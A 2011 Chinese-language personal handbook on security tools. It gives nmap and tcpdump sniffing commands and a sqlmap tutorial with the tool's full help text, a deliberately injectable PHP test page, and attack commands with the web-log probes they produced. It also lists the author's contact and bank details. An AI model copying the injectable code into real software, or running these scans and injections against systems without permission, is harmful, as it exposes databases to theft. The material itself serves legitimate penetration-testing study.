Netkiller Security 手札

Sniffer, Scanner, Vulnerability, Penetration

Mr. Neo Chan, 陈景峰

中国广东省深圳市宝安区龙华镇
518109
+86 755 29812080
+86 755 29812080
<openunix@163.com>

文档出处: http://netkiller.sourceforge.net/ | http://netkiller.github.com

文档最近一次更新于 Sat Dec 10 10:13:23 UTC 2011

2011-12-9

下面是我多年积累下来的经验总结，整理成文档供大家参考:

Netkiller Architect 手札	Netkiller Linux 手札	Netkiller Developer 手札	Netkiller Database 手札
Netkiller Debian 手札	Netkiller CentOS 手札	Netkiller FreeBSD 手札	Netkiller Shell 手札
Netkiller Web 手札	Netkiller Monitoring 手札	Netkiller Storage 手札	Netkiller Mail 手札
Netkiller Security 手札	Netkiller PostgreSQL 手札	Netkiller MySQL 手札	Netkiller LDAP 手札
Netkiller Cryptography 手札	Netkiller Intranet 手札	Netkiller Cisco IOS 手札	Netkiller Writer 手札
Netkiller Version 手札	Netkiller Studio Linux 手札		

目录

自述

1. 内容简介

1.1. Audience(读者对象)
1.2. 写给读者
1.3. 获得文档

1.3.1. PDF
1.3.2. EPUB
1.3.3. 获得光盘介质

- 2. 作者简介
  - 2.1. 联系作者
- 3. 支持这个项目(Support this project)

1. Sniffer
- 1. nmap - Network exploration tool and security / port scanner
  - 1.1. 扫描一个网段
  - 1.2. UDP 扫描
- 2. tcpdump - A powerful tool for network monitoring and data acquisition
  - 2.1. 监控网络适配器接口
  - 2.2. 监控主机
  - 2.3. 监控TCP端口
  - 2.4. 监控协议
  - 2.5. 输出到文件
  - 2.6. Cisco Discovery Protocol (CDP)
  - 2.7. 案例
    - 2.7.1. 监控80端口与icmp,arp
    - 2.7.2. monitor mysql tcp package
    - 2.7.3. HTTP 包
    - 2.7.4. 显示SYN、FIN和ACK-only包
- 3. nc - TCP/IP swiss army knife
- 4. Unicornscan，Zenmap，nast
- 5. netstat-nat - Show the natted connections on a linux iptable firewall
- 6. Wireshark

2. sqlmap - automatic SQL injection and database takeover tool
- 1. Installation
- 2. 开始入住实验
  - 2.1. 测试脚本
  - 2.2. sqlmap.ini
- 3. Request参数
  - 3.1. --method, --data
  - 3.2. --cookie
  - 3.3. --referer
  - 3.4. --user-agent
    - 3.4.1. -a
  - 3.5. --headers
  - 3.6. auth
    - 3.6.1. --auth-type
    - 3.6.2. --auth-cred
  - 3.7. --proxy
  - 3.8.
  - 3.9. --threads
  - 3.10. --delay
  - 3.11. --timeout
- 4. Injection
  - 4.1. --dbms
  - 4.2. --prefix
  - 4.3. --postfix
  - 4.4. --string
  - 4.5. --regexp

4.6. --excl-str
4.7. --excl-reg

5. Techniques

5.1. --stacked-test
5.2. --time-test
5.3. --union-test
5.4. --union-tech
5.5. --union-use

6. Enumeration

6.1. dbs

7. Miscellaneous

7.1. --update
7.2. --save

3. Vulnerability Scanner

1. Nessus
2. OpenVAS

4. Injection & Penetration

1. Backtrack Linux

下一页
自述

自述

目录

1. 内容简介

1.1. Audience(读者对象)
1.2. 写给读者
1.3. 获得文档

1.3.1. PDF
1.3.2. EPUB
1.3.3. 获得光盘介质

2. 作者简介

2.1. 联系作者

3. 支持这个项目(Support this project)

1. 内容简介

当前文档档容比较杂，涉及内容广泛。

慢慢我会将其中章节拆成新文档.

文档内容简介:

1. Network
2. Security
3. Web Application
4. Database
5. Storage And Backup/Restore
6. Cluster
7. Developer

1.1. Audience(读者对象)

This book is intended primarily for Linux system administrators who are familiar with the following activities:

Audience

1. Linux system administration procedures, including kernel configuration
2. Installation and configuration of cluster, such as load balancing, High Availability,
3. Installation and configuration of shared storage networks, such as Fibre Channel SANs
4. Installation and configuration of web server, such as apache, nginx, lighttpd, tomcat/resin ...

本文档的读者对象:

文档面向有所有读者。您可以选读您所需要的章节,无需全篇阅读,因为有些章节不一定对你有用,用得着就翻来看看,暂时用不到的可以不看.

大体分来读者可以分为几类:

1. 架构工程师
2. 系统管理员
3. 系统支持,部署工程师

不管是谁,做什么的,我希望通过阅读这篇文档都能对你有所帮助。

1.2. 写给读者

欢迎提出宝贵的建议,如有问题请到 邮件列表 讨论

为什么写这篇文章

有很多想法,工作中也用不到所以未能实现，所以想写出来,和大家分享.有一点写一点,写得也不好,只要能看懂就行,就当学习笔记了.

开始零零碎碎写过一些文档，也向维基百科供过稿，但维基经常被ZF封锁，后来发现sf.net可以提供主机存放文档，便做了迁移。并开始了我的写作生涯。

这篇文档是作者8年来对工作的总结,是作者一点一滴的积累起来的，有些笔记已经丢失，所以并不完整。

因为工作太忙整理比较缓慢。目前的工作涉及面比较窄所以新文档比较少。

我现在花在技术上的时间越来越少，兴趣转向摄影，无线电。也想写写摄影方面的心得体会。

写作动力:

曾经在网上看到外国开源界对中国的评价，中国人对开源索取无度，但贡献却微乎其微.这句话一直记在我心中，发誓要为中国开源事业做我仅有的一点微薄贡献

另外写文档也是知识积累，还可以增加在圈内的影响力.

人跟动物的不同,就是人类可以把自己学习的经验教给下一代人.下一代在上一代的基础上再创新,不断积累才有今天.

所以我把自己的经验写出来,可以让经验传承

没有内容的章节:

目前我自己一人维护所有文档，写作时间有限，当我发现一个好主题就会加入到文档中，待我有时间再完善章节，所以你会发现很多章节是空无内容的.

文档目前几乎是流水帐试的写作，维护量很大，先将就着看吧.

我想到哪写到哪,你会发现文章没一个中心,今天这里写点,明天跳过本章写其它的.
文中例子绝对多,对喜欢复制然后粘贴朋友很有用,不用动手写,也省时间.
理论的东西,网上大把,我这里就不写了,需要可以去网上查.
我爱写错别字,还有一些是打错的,如果发现请指正.
文中大部分试验是在Debian/Ubuntu/Redhat AS上完成.

1.3. 获得文档

1.3.1. PDF

Download PDF Document 下载PDF文档1

Download PDF Document 下载PDF文档2

1.3.2. EPUB

http://netkiller.sourceforge.net/technology.html

1.3.3. 获得光盘介质

如有特别需要，请联系我

---

2. 作者简介

主页地址：http://netkiller.sourceforge.net, http://netkiller.github.com/

陈景峰 (ㄔㄣˊ ㄐㄧㄥˇ ㄈㄥ)

Nickname：netkiller | English name: Neo chen | Nippon name: ちんけいほう (音訳) | Korean name: | Thailand name:

IT民工， UNIX like Evangelist, 业余无线电爱好者（呼号：BG7NYT）,户外运动以及摄影爱好者。

《PostgreSQL实用实例参考》，《Postfix 完整解决方案》，《Netkiller Linux 手札》的作者

2001年来深圳进城打工,成为一名外来务工者.

2002年我发现不能埋头苦干,埋头搞技术是不对的,还要学会"做人".

2003年这年最惨,公司拖欠工资16000元,打过两次官司2005才付清.

2004年开始加入分布式计算团队,目前成绩

2004-10月开始玩户外和摄影

2005-6月成为中国无线电运动协会会员

2006年单身生活了这么多年,终于找到归宿.

2007物价上涨,金融危机，休息了4个月（其实是找不到工作）

2008终于找到英文学习方法，， 《Netkiller Developer 手札》，《Netkiller Document 手札》

2008-8-8 08:08:08 结婚,后全家迁居湖南省常德市

2009《Netkiller Database 手札》,年底拿到C1驾照

2010对电子打击乐产生兴趣，计划学习爵士鼓

2011 职业生涯路上继续打怪升级

2.1. 联系作者

Mobile: +86 13113668890

Tel: +86 755 2981-2080

Callsign: BG7NYT QTH: Shenzhen, China

注：请不要问我安装问题!

E-Mail: openunix@163.com
IRC irc.freenode.net #ubuntu / #ubuntu-cn

Yahoo: bg7nyt
ICQ: 101888222
AIM: bg7nyt

TM/QQ: 13721218
MSN: netkiller@msn.com
G Talk: 很少开
网易泡泡：很少开

写给火腿:

欢迎无线电爱好者和我QSO,我的QTH在深圳宝安区龙华镇溪山美地12B7CD,设备YAESU FT-50R,FT-60R,FT-7800 144-430双段机,拉杆天线/GP天线 Nagoya MAG-79EL-3W/Yagi

如果这篇文章对你有所帮助,请寄给我一张QSL卡片,qrz.cn or qrz.com or hamcall.net

Personal Amateur Radiostations of P.R.China

ZONE CQ24 ITU44 ShenZhen, China

Best Regards, VY 73! OP. BG7NYT

---

3. 支持这个项目(Support this project)

Donations

招商银行(China Merchants Bank) 陈景峰 9555500000007459

第 1 章 Sniffer

目录

1. nmap - Network exploration tool and security / port scanner

1.1. 扫描一个网段
1.2. UDP 扫描

2. tcpdump - A powerful tool for network monitoring and data acquisition

2.1. 监控网络适配器接口
2.2. 监控主机
2.3. 监控TCP端口
2.4. 监控协议
2.5. 输出到文件
2.6. Cisco Discovery Protocol (CDP)
2.7. 案例

2.7.1. 监控80端口与icmp,arp
2.7.2. monitor mysql tcp package
2.7.3. HTTP 包
2.7.4. 显示SYN、FIN和ACK-only包

3. nc - TCP/IP swiss army knife
4. Unicornscan，Zenmap，nast
5. netstat-nat - Show the natted connections on a linux iptable firewall
6. Wireshark

1. nmap - Network exploration tool and security / port scanner

nmap

```
$ nmap localhost

Starting Nmap 4.20 ( http://insecure.org ) at 2007-11-19 05:20 EST
Interesting ports on localhost (127.0.0.1):
Not shown: 1689 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
3306/tcp open  mysql
```

1.1. 扫描一个网段

```
$ nmap  -v -sP 172.16.0.0/24

Starting Nmap 4.62 ( http://nmap.org ) at 2010-11-27 10:00 CST
Initiating Ping Scan at 10:00
Scanning 256 hosts [1 port/host]
Completed Ping Scan at 10:00, 0.80s elapsed (256 total hosts)
Initiating Parallel DNS resolution of 256 hosts. at 10:00
Completed Parallel DNS resolution of 256 hosts. at 10:00, 2.77s elapsed
Host 172.16.0.0 appears to be down.
Host 172.16.0.1 appears to be up.
```

```
Host 172.16.0.2 appears to be up.
Host 172.16.0.3 appears to be down.
Host 172.16.0.4 appears to be down.
Host 172.16.0.5 appears to be up.
Host 172.16.0.6 appears to be down.
Host 172.16.0.7 appears to be down.
Host 172.16.0.8 appears to be down.
Host 172.16.0.9 appears to be up.
...
...
Host 172.16.0.253 appears to be down.
Host 172.16.0.254 appears to be down.
Host 172.16.0.255 appears to be down.
Read data files from: /usr/share/nmap
Nmap done: 256 IP addresses (8 hosts up) scanned in 3.596 seconds
```

扫描正在使用的IP地址

```
$ nmap  -v -sP 172.16.0.0/24 | grep up
Host 172.16.0.1 appears to be up.
Host 172.16.0.2 appears to be up.
Host 172.16.0.5 appears to be up.
Host 172.16.0.9 appears to be up.
Host 172.16.0.19 appears to be up.
Host 172.16.0.40 appears to be up.
Host 172.16.0.188 appears to be up.
Host 172.16.0.252 appears to be up.
Nmap done: 256 IP addresses (8 hosts up) scanned in 6.574 seconds
```

```
nmap -sP -PI -PT -oN ipandmaclist.txt 192.168.80.0/24
```

1.2. UDP 扫描

扫描DNS端口

```
$ sudo nmap -sU -p 53 120.132.144.20
```

2. tcpdump - A powerful tool for network monitoring and data acquisition

tcpdump

2.1. 监控网络适配器接口

```
$ sudo tcpdump -n -i eth1
```

2.2. 监控主机

tcpdump host 172.16.5.51

```
# tcpdump host 172.16.5.51
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
17:49:26.202556 IP 172.16.1.3 > 172.16.5.51: ICMP echo request, id 4, seq 22397,
length 40
17:49:26.203002 IP 172.16.5.51 > 172.16.1.3: ICMP echo reply, id 4, seq 22397,
length 40
```

2.3. 监控TCP端口

显示所有到的FTP会话

```
# tcpdump -i eth1 'dst 202.40.100.5 and (port 21 or 20)'
```

```
$ tcpdump -n -i eth0 port 80
```

监控网络但排除 SSH 22 端口

```
$ sudo tcpdump -n not dst port 22 and not src port 22
```

显示所有到192.168.0.5的HTTP会话

```
# tcpdump -ni eth0 'dst 192.168.0.5 and tcp and port http'
```

监控DNS的网络流量

```
# tcpdump -i eth0 'udp port 53'
```

2.4. 监控协议

```
$ tcpdump -n -i eth0 icmp or arp
```

2.5. 输出到文件

```
# tcpdump -n -i eth1 -s 0 -w output.txt src or dst port 80
```

使用wireshark分析输出文件，下面地址下载

http://www.wireshark.org/

2.6. Cisco Discovery Protocol (CDP)

```
$ sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
[sudo] password for neo:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1500 bytes
13:51:31.825893 CDPv2, ttl: 180s, checksum: 692 (unverified), length 375
        Device-ID (0x01), length: 7 bytes: '4A3750G'
        Version String (0x05), length: 182 bytes:
          Cisco IOS Software, C3750 Software (C3750-IPBASE-M), Version
12.2(35)SE5, RELEASE SOFTWARE (fc1)
          Copyright (c) 1986-2007 by Cisco Systems, Inc.
          Compiled Thu 19-Jul-07 19:15 by nachen
        Platform (0x06), length: 23 bytes: 'cisco WS-C3750G-24TS-1U'
        Address (0x02), length: 13 bytes: IPv4 (1) 193.168.0.254
        Port-ID (0x03), length: 21 bytes: 'GigabitEthernet1/0/15'
        Capability (0x04), length: 4 bytes: (0x00000029): Router, L2 Switch, IGMP
snooping
        Protocol-Hello option (0x08), length: 32 bytes:
        VTP Management Domain (0x09), length: 3 bytes: 'xiu'
        Native VLAN ID (0x0a), length: 2 bytes: 11
        Duplex (0x0b), length: 1 byte: full
        AVVID trust bitmap (0x12), length: 1 byte: 0x00
        AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00
        Management Addresses (0x16), length: 13 bytes: IPv4 (1) 193.168.0.254
        unknown field type (0x1a), length: 12 bytes:
          0x0000:  0000 0001 0000 0000 ffff ffff
1 packets captured
1 packets received by filter
0 packets dropped by kernel
```

```
$ sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1500 bytes
13:52:03.451238 CDPv2, ttl: 180s, checksum: 692 (unverified), length 420
        Device-ID (0x01), length: 9 bytes: 'O9-Switch'
        Version String (0x05), length: 248 bytes:
          Cisco IOS Software, C2960S Software (C2960S-UNIVERSALK9-M), Version
12.2(55)SE3, RELEASE SOFTWARE (fc1)
          Technical Support: http://www.cisco.com/techsupport
          Copyright (c) 1986-2011 by Cisco Systems, Inc.
          Compiled Thu 05-May-11 16:56 by prod_rel_team
        Platform (0x06), length: 22 bytes: 'cisco WS-C2960S-48TD-L'
        Address (0x02), length: 4 bytes:
        Port-ID (0x03), length: 20 bytes: 'GigabitEthernet1/0/8'
        Capability (0x04), length: 4 bytes: (0x00000028): L2 Switch, IGMP
snooping
        Protocol-Hello option (0x08), length: 32 bytes:
        VTP Management Domain (0x09), length: 0 byte: ''
1 packets captured
3 packets received by filter
0 packets dropped by kernel
```

```
$ sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000' | grep
GigabitEthernet
[sudo] password for neo:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1500 bytes
        Port-ID (0x03), length: 21 bytes: 'GigabitEthernet1/0/15'
1 packets captured
1 packets received by filter
0 packets dropped by kernel
```

2.7. 案例

2.7.1. 监控80端口与icmp,arp

```
$ tcpdump -n -i eth0 port 80 or icmp or arp
```

2.7.2. monitor mysql tcp package

```
#!/bin/bash

tcpdump -i eth0 -s 0 -l -w - dst port 3306 | strings | perl -e '
while(<>) { chomp; next if /^[^ ]+[ ]*$/;
  if(/^(SELECT|UPDATE|DELETE|INSERT|SET|COMMIT|ROLLBACK|CREATE|DROP|ALTER)/i) {
    if (defined $q) { print "$q\n"; }
    $q=$_;
  } else {
    $_ =~ s/^[ \t]+//; $q.=" $_";
  }
}'
```

2.7.3. HTTP 包

```
tcpdump -i eth0 -s 0 -l -w - dst port 80 | strings
```

2.7.4. 显示SYN、FIN和ACK-only包

显示所有进出80端口IPv4 HTTP包，也就是只打印包含数据的包。例如：SYN、FIN包和ACK-only包输入：

```
# tcpdump 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2))
!= 0)'
```

---

3. nc - TCP/IP swiss army knife

上一页 上一级 下一页
2. tcpdump - A powerful tool for network monitoring and data acquisition 起始页 4. Unicornscan，Zenmap，nast

4. Unicornscan，Zenmap，nast

5. netstat-nat - Show the natted connections on a linux iptable firewall

```
neo@monitor:~$ sudo netstat-nat
Proto NATed Address                  Destination Address            State
tcp   10.8.0.14:1355                172.16.1.25:ssh                ESTABLISHED
tcp   10.8.0.14:1345                172.16.1.63:ssh                ESTABLISHED
tcp   10.8.0.14:1340                172.16.1.46:ssh                ESTABLISHED
tcp   10.8.0.14:1346                172.16.1.25:ssh                ESTABLISHED
tcp   10.8.0.14:1344                172.16.1.62:ssh                ESTABLISHED
tcp   10.8.0.14:1343                172.16.1.48:ssh                ESTABLISHED
```

你也同时可以使用下面命令查看

```
$ cat /proc/net/ip_conntrack
$ cat /proc/net/nf_conntrack
```

6. Wireshark

Wireshark is a network protocol analyzer for Unix and Windows.

http://www.wireshark.org/

第 2 章 sqlmap - automatic SQL injection and database takeover tool

目录

1. Installation
2. 开始入住实验

- 2.1. 测试脚本
- 2.2. sqlmap.ini

3. Request参数

- 3.1. --method, --data
- 3.2. --cookie
- 3.3. --referer
- 3.4. --user-agent
  - 3.4.1. -a
- 3.5. --headers
- 3.6. auth
  - 3.6.1. --auth-type
  - 3.6.2. --auth-cred
- 3.7. --proxy
- 3.8.
- 3.9. --threads
- 3.10. --delay
- 3.11. --timeout

4. Injection

- 4.1. --dbms
- 4.2. --prefix
- 4.3. --postfix
- 4.4. --string
- 4.5. --regexp
- 4.6. --excl-str
- 4.7. --excl-reg

5. Techniques

- 5.1. --stacked-test
- 5.2. --time-test
- 5.3. --union-test
- 5.4. --union-tech
- 5.5. --union-use

6. Enumeration

- 6.1. dbs

7. Miscellaneous

- 7.1. --update
- 7.2. --save

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

1. Installation

```
$ apt-cache search sqlma
sqlmap - automatic SQL injection tool

$ sudo apt-get install sqlmap

$ dpkg -s sqlmap
```

安装开发板

```
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

sudo vim ~/.bashrc

#行尾加上:
alias sqlmap='python /home/neo/sqlmap-dev/sqlmap.py'

该环境变量只对当前用户有效

如果想对所有用户有效 可设置全局 文件/etc/profile
```

sqlmap参数

```
$ sqlmap-dev/sqlmap.py -h

    sqlmap/1.0-dev (r4577) - automatic SQL injection and database takeover tool
    http://www.sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not
responsible for any misuse or damage caused by this program

[*] starting at 18:05:44

Usage: python sqlmap-dev/sqlmap.py [options]

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be specified to set the source to
    get target urls from.

    -d DIRECT           Direct connection to the database
    -u URL, --url=URL   Target url
    -l LOGFILE          Parse targets from Burp or WebScarab proxy logs
    -m BULKFILE         Scan multiple targets enlisted in a given textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target urls
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target url.

    --data=DATA         Data string to be sent through POST
    --param-del=PDEL    Character used for splitting parameter values
    --cookie=COOKIE     HTTP Cookie header
    --cookie-urlencode  URL Encode generated cookie injections
    --drop-set-cookie   Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent header
    --random-agent      Use randomly selected HTTP User-Agent header
    --randomize=RPARAM  Randomly change value for given parameter(s)
    --referer=REFERER   HTTP Referer header
    --headers=HEADERS   Extra HTTP headers newline separated
```

```
  --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
  --auth-cred=ACRED   HTTP authentication credentials (name:password)
  --auth-cert=ACERT   HTTP authentication certificate (key_file,cert_file)
  --proxy=PROXY       Use a HTTP proxy to connect to the target url
  --proxy-cred=PCRED  HTTP proxy authentication credentials (name:password)
  --ignore-proxy      Ignore system default HTTP proxy
  --delay=DELAY       Delay in seconds between each HTTP request
  --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
  --retries=RETRIES   Retries when the connection timeouts (default 3)
  --scope=SCOPE       Regexp to filter targets from provided proxy log
  --safe-url=SAFURL   Url address to visit frequently during testing
  --safe-freq=SAFREQ  Test requests between two visits to a given safe url
  --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                      "import hashlib;id2=hashlib.md5(id).hexdigest()")

Optimization:
  These options can be used to optimize the performance of sqlmap.

  -o                  Turn on all optimization switches
  --predict-output    Predict common queries output
  --keep-alive        Use persistent HTTP(s) connections
  --null-connection   Retrieve page length without actual HTTP response body
  --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

Injection:
  These options can be used to specify which parameters to test for,
  provide custom injection payloads and optional tampering scripts.

  -p TESTPARAMETER    Testable parameter(s)
  --dbms=DBMS         Force back-end DBMS to this value
  --os=OS             Force back-end DBMS operating system to this value
  --prefix=PREFIX     Injection payload prefix string
  --suffix=SUFFIX     Injection payload suffix string
  --logic-negative    Use logic operation(s) instead of negating values
  --skip=SKIP         Skip testing for given parameter(s)
  --tamper=TAMPER     Use given script(s) for tampering injection data

Detection:
  These options can be used to specify how to parse and compare page
  content from HTTP responses when using blind SQL injection technique.

  --level=LEVEL       Level of tests to perform (1-5, default 1)
  --risk=RISK         Risk of tests to perform (0-3, default 1)
  --string=STRING     String to match in the response when query is valid
  --regexp=REGEXP     Regexp to match in the response when query is valid
  --code=CODE         HTTP response code to match when the query is valid
  --text-only         Compare pages based only on the textual content
  --titles            Compare pages based only on their titles

Techniques:
  These options can be used to tweak testing of specific SQL injection
  techniques.

  --technique=TECH    SQL injection techniques to test for (default "BEUST")
  --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
  --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
  --union-char=UCHAR  Character to use for bruteforcing number of columns

Fingerprint:
  -f, --fingerprint   Perform an extensive DBMS version fingerprint

Enumeration:
  These options can be used to enumerate the back-end database
  management system information, structure and data contained in the
  tables. Moreover you can run your own SQL statements.

  -b, --banner        Retrieve DBMS banner
  --current-user      Retrieve DBMS current user
  --current-db        Retrieve DBMS current database
  --is-dba            Detect if the DBMS current user is DBA
  --users             Enumerate DBMS users
  --passwords         Enumerate DBMS users password hashes
  --privileges        Enumerate DBMS users privileges
  --roles             Enumerate DBMS users roles
  --dbs               Enumerate DBMS databases
  --tables            Enumerate DBMS database tables
  --columns           Enumerate DBMS database table columns
  --schema            Enumerate DBMS schema
  --count             Retrieve number of entries for table(s)
  --dump              Dump DBMS database table entries
  --dump-all          Dump all DBMS databases tables entries
  --search            Search column(s), table(s) and/or database name(s)
  -D DB               DBMS database to enumerate
  -T TBL              DBMS database table to enumerate
```

```
  -C COL               DBMS database table column to enumerate
  -U USER              DBMS user to enumerate
  --exclude-sysdbs     Exclude DBMS system databases when enumerating tables
  --start=LIMITSTART   First query output entry to retrieve
  --stop=LIMITSTOP     Last query output entry to retrieve
  --first=FIRSTCHAR    First query output word character to retrieve
  --last=LASTCHAR      Last query output word character to retrieve
  --sql-query=QUERY    SQL statement to be executed
  --sql-shell          Prompt for an interactive SQL shell

Brute force:
  These options can be used to run brute force checks.

  --common-tables      Check existence of common tables
  --common-columns     Check existence of common columns

User-defined function injection:
  These options can be used to create custom user-defined functions.

  --udf-inject         Inject custom user-defined functions
  --shared-lib=SHLIB   Local path of the shared library

File system access:
  These options can be used to access the back-end database management
  system underlying file system.

  --file-read=RFILE    Read a file from the back-end DBMS file system
  --file-write=WFILE   Write a local file on the back-end DBMS file system
  --file-dest=DFILE    Back-end DBMS absolute filepath to write to

Operating system access:
  These options can be used to access the back-end database management
  system underlying operating system.

  --os-cmd=OSCMD       Execute an operating system command
  --os-shell           Prompt for an interactive operating system shell
  --os-pwn             Prompt for an out-of-band shell, meterpreter or VNC
  --os-smbrelay        One click prompt for an OOB shell, meterpreter or VNC
  --os-bof             Stored procedure buffer overflow exploitation
  --priv-esc           Database process' user privilege escalation
  --msf-path=MSFPATH   Local path where Metasploit Framework is installed
  --tmp-path=TMPPATH   Remote absolute path of temporary files directory

Windows registry access:
  These options can be used to access the back-end database management
  system Windows registry.

  --reg-read           Read a Windows registry key value
  --reg-add            Write a Windows registry key value data
  --reg-del            Delete a Windows registry key value
  --reg-key=REGKEY     Windows registry key
  --reg-value=REGVAL   Windows registry key value
  --reg-data=REGDATA   Windows registry key value data
  --reg-type=REGTYPE   Windows registry key value type

General:
  These options can be used to set some general working parameters.

  -s SESSIONFILE       Save and resume all data retrieved on a session file
  -t TRAFFICFILE       Log all HTTP traffic into a textual file
  --batch              Never ask for user input, use the default behaviour
  --charset=CHARSET    Force character encoding used for data retrieval
  --check-tor          Check to see if Tor is used properly
  --crawl=CRAWLDEPTH   Crawl the website starting from the target url
  --csv-del=CSVDEL     Delimiting character used in CSV output (default ",")
  --eta                Display for each output the estimated time of arrival
  --flush-session      Flush session file for current target
  --forms              Parse and test forms on target url
  --fresh-queries      Ignores query results stored in session file
  --parse-errors       Parse and display DBMS error messages from responses
  --replicate          Replicate dumped data into a sqlite3 database
  --save               Save options on a configuration INI file
  --tor                Use default Tor SOCKS5 proxy address
  --update             Update sqlmap

Miscellaneous:
  -z MNEMONICS         Use mnemonics for shorter parameter setup
  --beep               Alert when sql injection found
  --check-payload      Offline WAF/IPS/IDS payload detection testing
  --check-waf          Check for existence of WAF/IPS/IDS protection
  --cleanup            Clean up the DBMS by sqlmap specific UDF and tables
  --dependencies       Check for missing sqlmap dependencies
  --gpage=GOOGLEPAGE   Use Google dork results from specified page number
  --mobile             Imitate smartphone through HTTP User-Agent header
```

```
    --page-rank          Display page rank (PR) for Google dork results
    --smart              Conduct through tests only if positive heuristic(s)
    --wizard             Simple wizard interface for beginner users

[*] shutting down at 18:05:44
```

2. 开始入住实验

当你运行sqlmap的时候，我建议你运行下面命令监控你的web服务器日志

```
tail -f access.log
```

2.1. 测试脚本

```
<?php
    $mysql_server_name="172.16.0.4";
    $mysql_username="dbuser";
    $mysql_password="dbpass";
    $mysql_database="dbname";


    $conn=mysql_connect($mysql_server_name, $mysql_username,
                        $mysql_password);
        $strsql="";
        if($_GET['id']){
                $strsql="select * from `order` where id=".$_GET['id'];
        }else{
            $strsql="select * from `order` limit 100";
        }
        echo $strsql;
    $result=@mysql_db_query($mysql_database, $strsql, $conn);

    $row=mysql_fetch_row($result);

    echo '<font face="verdana">';
    echo '<table border="1" cellpadding="1" cellspacing="2">';


    echo "\n<tr>\n";
    for ($i=0; $i<mysql_num_fields($result); $i++)
    {
      echo '<td bgcolor="#000F00"><b>'.
      mysql_field_name($result, $i);
      echo "</b></td>\n";
    }
    echo "</tr>\n";

    mysql_data_seek($result, 0);

    while ($row=mysql_fetch_row($result))
    {
      echo "<tr>\n";
      for ($i=0; $i<mysql_num_fields($result); $i++ )
      {
        echo '<td bgcolor="#00FF00">';
        echo "$row[$i]";
        echo '</td>';
      }
      echo "</tr>\n";
    }

    echo "</table>\n";
    echo "</font>";

    mysql_free_result($result);

    mysql_close();
```

2.2. sqlmap.ini

```
vim ~/.sqlmap/sqlmap.ini

[Target]
googledork =
list =
url = http://120.132.144.28/test/testdb.php?id=12

[Request]
acred =
atype =
agent =
cookie =
data =
delay = 0
headers =
method = GET
proxy =
referer = http://www.google.com
threads = 1
timeout = 10
useragentsfile =

[Miscellaneous]
batch = False
eta = False
sessionfile =
updateall = False
verbose = 1

[Enumeration]
col =
db =
dumpall = False
dumptable = False
excludesysdbs = False
getbanner = False
getcolumns = False
getcurrentdb = False
getcurrentuser = False
getdbs = False
getpasswordhashes = False
getprivileges = False
gettables = False
getusers = False
isdba = False
limitstart = 0
limitstop = 0
query =
sqlshell = False
tbl =
user =

[File system]
rfile =
wfile =

[Takeover]
osshell = False

[Fingerprint]
extensivefp = False

[Injection]
dbms =
eregexp =
estring =
postfix =
prefix =
regexp =
string =
testparameter =

[Techniques]
stackedtest = False
timetest = False
utech =
uniontest = False
unionuse = False
```

3. Request参数

3.1. --method, --data

```
sqlmap -u "http://www.example.com/login.php" --method "POST" --data
"user=neo&passwd=chen"
```

3.2. --cookie

3.3. --referer

```
$ sqlmap -u "http://120.132.144.28/test/testdb.php?id=12" --
referer="http://www.google.com"
```

access.log输出

```
113.106.63.1 - - [10/Dec/2011:16:52:41 +0800] "GET /test/testdb.php?
id=12%29%20AND%20%288621=8621 HTTP/1.1" 200 978 "http://www.google.com"
"sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
113.106.63.1 - - [10/Dec/2011:16:52:41 +0800] "GET /test/testdb.php?
id=12%29%29%20AND%20%28%282589=2589 HTTP/1.1" 200 980 "http://www.google.com"
"sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
```

3.4. --user-agent

默认是 "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"

检查Your User Agent: http://whatsmyuseragent.com/

Chrome

```
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko)
Chrome/15.0.874.121 Safari/535.2
```

IE9

```
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
```

Safari

```
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.52.7 (KHTML, like Gecko)
Version/5.1.2 Safari/534.52.7
```

首先开启日志监控

```
tail -f /www/logs/access.log
```

伪装成Safari

```
$ sqlmap -u "http://120.132.144.28/test/testdb.php?id=12" --user-
agent="Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.52.7 (KHTML, like Gecko)
Version/5.1.2 Safari/534.52.7"
```

access.log输出结果

```
